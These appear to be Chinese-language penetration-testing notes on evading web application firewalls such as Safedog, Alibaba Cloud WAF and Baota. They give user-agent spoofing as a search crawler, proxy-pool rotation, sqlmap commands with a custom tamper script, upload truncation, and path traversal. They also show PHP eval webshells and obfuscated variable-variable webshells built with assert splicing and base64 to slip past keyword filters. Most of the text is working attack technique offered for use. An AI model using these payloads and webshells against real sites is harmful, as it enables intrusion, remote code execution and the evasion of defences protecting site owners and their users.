WAF绕过
1.信息收集之反爬虫延时代理池技术
绕过方法
- 爬虫绕过
利用 waf设置的白名单,修改 UA 成百度爬虫,因为一般waf 会拦截个人访问,但是很少拦截搜索引擎,可以加入百度爬虫模拟搜索引擎的访问
- 延时绕过
一般 waf 会限制 IP 访问次数和频率,扫描过快的工具,访问频率过高会被拦截,可以降低访问频率绕过;但是一般不使用这种方法,因为工作效率太低,是没有办法的办法
- 代理池绕过
因为一般 waf 的设限制是对一个 IP的访问频率,但是如果设置大量 IP每个访问一次就可以绕过
可以设置多个代理 IP 进行访问,这些 IP 放在代理池里进行调用
安全狗 waf
1.当遇到目录扫描工具时,会构造大量数据包让该工具进行误报,分有无开 CC,CC 是检测访问的频率
- 未开 CC
主要防止工具请求的默认 HEAD数据包攻击
可以通过改变请求头和请求方法GET,POST进行绕过
- 开CC
设置目录扫描间隔,可以绕过
或者用 Bp 抓取数据包,进行用户模拟,然后修改 UA 模拟百度爬虫操作
阿里云waf
会拦截漏洞扫描工具
只能采用代理池或者延时绕过
宝塔 waf
延时和代理池可以绕过
绕过手法
数据包特征
- 更改请求方式 GET、POST
- 模拟请求用户,构造一个拥有相似请求头的数据包
- 黑白名单机制
- 修改 UA 模拟浏览器访问
2.漏洞发现触发 WAF点
1.扫描速度(代理池、延迟、白名单)
代理池
Proxy_pool 的搭建和使用
https://github.com/jhao104/proxy_pool
因为 waf会在 ip 访问服务器时有限制,比如多少分钟允许访问一次
可以通过准备一个含有大量代理服务器的代理池,通过不断更换代理服务器访问,进行 waf 绕过
2.工具指纹(特征修改、模拟真实用户)
3.漏洞 Payload(数据变异、数据加密、白名单)
3.漏洞利用
SQL 注入
- sqlmap 扫描时候可能会遇到 CC 拦截,可以利用白名单,设置 UA 进行爬虫引擎绕过
sqlmap.py "http://xxx.com/?id=1" --user-agent="Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)"
- 可以利用 sqlmap进行代理池绕过
sqlmap.py "http://xxx.com/?id=1" --proxy="xx.com:1518"
如果有 url 过滤拦截,也可以根据过滤器设置绕过规则,编写脚本通过--tamper
带入到 sqlmap 运行
//rdog.py
def tamper(payload,**kwargs):
retVal = ""
if payload:
payload = payload.replace("union","%23a%0union")
payload = payload.replace("select","%00/*4457select*/")
payload = payload.replace("%20","%23a%0a")
payload = payload.replace(" ","%%23a%0a")
return payload
sqlmap.py "http://xxx.com/?id=1" --proxy="xx.com:1518" --tamper=rdog.py
文件上传
%00截断
,或者././././././././././
达到文件名上限从而截断
XSS跨站
利用XSStrike绕过,加上–proxy 或者 --timeout,绕过 CC
文件包含
…\ …/ …\
RCE执行
源代码,但是输入的 URL 会被过滤掉关键字
<?php
@eval($_POST['x'])
?>
绕过传入参数过滤
x=base64_encode(cGhwaW5mbyUyOCUyOSUzQg==) //cGhwaW5mbyUyOCUyOSUzQg== 是 phpinfo 加密
但是发现 base64_encode 方法也被过滤,可以利用str_replace
玩拼字游戏
x=$y=str_replace('x','phxpinxfo()');assert($y);
若assert
方法也被过滤则可以再拼接
x=$x='asse';$xx='rt';$xxx=$x.$xx;$y=str_replace('x','phxpinxfo()');$xxx($y);
4.权限控制
waf 一般根据所记录的特征去拦截,就比如说如果使用的工具没有记录再库就不会进行拦截。可以尝试多方法多工具绕过
代码绕过 waf
变量覆盖
常见的一句话木马
<?php
@eval($_POST['a'])
?>
//?a=phpinfo();
这么写百分百拦截,怎么绕过呢,就是套娃
<?php
$a=$_GET['x'];
$$a=$_GET['y'];
$b($_POST['z']);
?>
//?x=b&y=assert
// $$a=$b=assert
//assert($_POST['z']);
//z=phpinfo();
//?x=b&y=assert&z=phpinfo();
在这个代码里,不存在漏洞函数assert()所以代码不会被过滤,把使用的漏洞函数套写在可变参数中
这里使用 assert 而不是 eval 的原因是 assert可以用参数进行传输
若有关键字被检测到拦截
//?x=b&y=assert&z=phpinfo();
//phpinfo 关键字被检测到,可以修改代码利用编码绕过
<?php
$a=$_GET['x'];
$$a=$_GET['y'];
$b(base64_decode($_POST['z']));
?>
//然后 phpinfo 进行 base64编码输入
加密混淆
采用加密脚本对代码进行加密,使代码不可读,从而绕过 waf
异或生成
在满足一个前置条件后,之后带入的参数才有效
A=isset('id')?base64_decode($_POST['x']):$_POST['x']
冰蝎(双向加密:可以把发送和收取的数据包都进行乱码加密,respone 加密可以扰乱靶机的 log,让对方不能第一时间分析出攻击)
行为绕过